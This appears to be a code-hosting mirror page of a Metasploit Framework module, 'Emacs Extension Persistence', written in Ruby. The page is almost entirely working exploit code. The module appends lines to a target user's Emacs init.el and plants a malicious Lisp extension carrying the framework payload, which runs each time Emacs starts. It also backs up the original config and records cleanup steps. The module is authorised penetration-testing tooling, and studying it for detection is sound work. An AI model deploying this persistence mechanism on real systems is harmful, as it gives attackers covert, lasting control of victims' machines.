/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/linux/persistence/emacs_extension.rb
108 строк
4 KB
h00die
joplin peer review + adding attck ref to plugin/extension modules
22 май 2026, 18:40
22 май 2026, 18:40
8e1ba7d
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Emacs Extension Persistence', 'Description' => %q{ This module adds a lisp based malicious extension to the emacs configuration file. When emacs is opened, the extension will be loaded and the payload will be executed. Tested against emacs 29.3 build 1 on Ubuntu Desktop 24.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die' ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ # Leo Laporte [02:39:08]: Plus, as easy as it would be to write a malicious plugin for Emacs, I don't think anybody's going to do that. The pickings are slim, let's put it that way. [ 'URL', 'https://twit.tv/posts/transcripts/security-now-1061-transcript'], ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS] ], 'DisclosureDate' => '2026-01-28', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_advanced_options [ OptString.new('NAME', [ false, 'Name of the extension. Defaults to random', '' ]), OptString.new('CONFIG_FILE', [ false, 'Config file location on target. Defaults to ~/init.el', '' ]), ] deregister_options('WritableDir') end def check return CheckCode::Safe('emacs is required') unless command_exists?('emacs') CheckCode::Detected('emacs is installed') end def plugin_name return datastore['NAME'] unless datastore['NAME'].empty? Rex::Text.rand_text_alpha(5..10) end def get_home return cmd_exec('echo ~').strip end def install_persistence p_name = plugin_name vprint_status("Using plugin name: #{p_name}") emacs_dir = "#{get_home}/.emacs.d" config_file = datastore['CONFIG_FILE'].empty? ? "#{emacs_dir}/init.el" : datastore['CONFIG_FILE'] lisp_dir = "#{emacs_dir}/lisp" extension_file = "#{lisp_dir}/#{p_name}.el" if file?(config_file) config_contents = read_file(config_file) path = store_loot('init.el', 'text/x-common-lisp', session, config_contents, nil, nil) print_good("Original config file saved in: #{path}") @clean_up_rc << "upload #{path} #{config_file}\n" else print_status("#{config_file} does not exist, creating it") mkdir(emacs_dir, cleanup: false) unless directory?(emacs_dir) write_file(config_file, '') @clean_up_rc << "rm #{config_file}\n" end unless directory?(lisp_dir) mkdir(lisp_dir, cleanup: false) @clean_up_rc << "rmdir #{lisp_dir}\n" end fail_with(Failure::UnexpectedReply, "Unable to append to extension to #{config_file}") unless append_file(config_file, "\n(add-to-list 'load-path \"#{lisp_dir}\")\n(require '#{p_name})\n") emacs_extension = File.read(File.join( Msf::Config.data_directory, 'exploits', 'emacs_extension', 'template.el' )) emacs_extension = emacs_extension.gsub('PAYLOAD_PLACEHOLDER', payload.encoded) emacs_extension = emacs_extension.gsub('PLUGIN_NAME', p_name) fail_with(Failure::UnexpectedReply, "Unable to write extension #{extension_file}") unless write_file(extension_file, emacs_extension) @clean_up_rc << "rm #{extension_file}\n" end end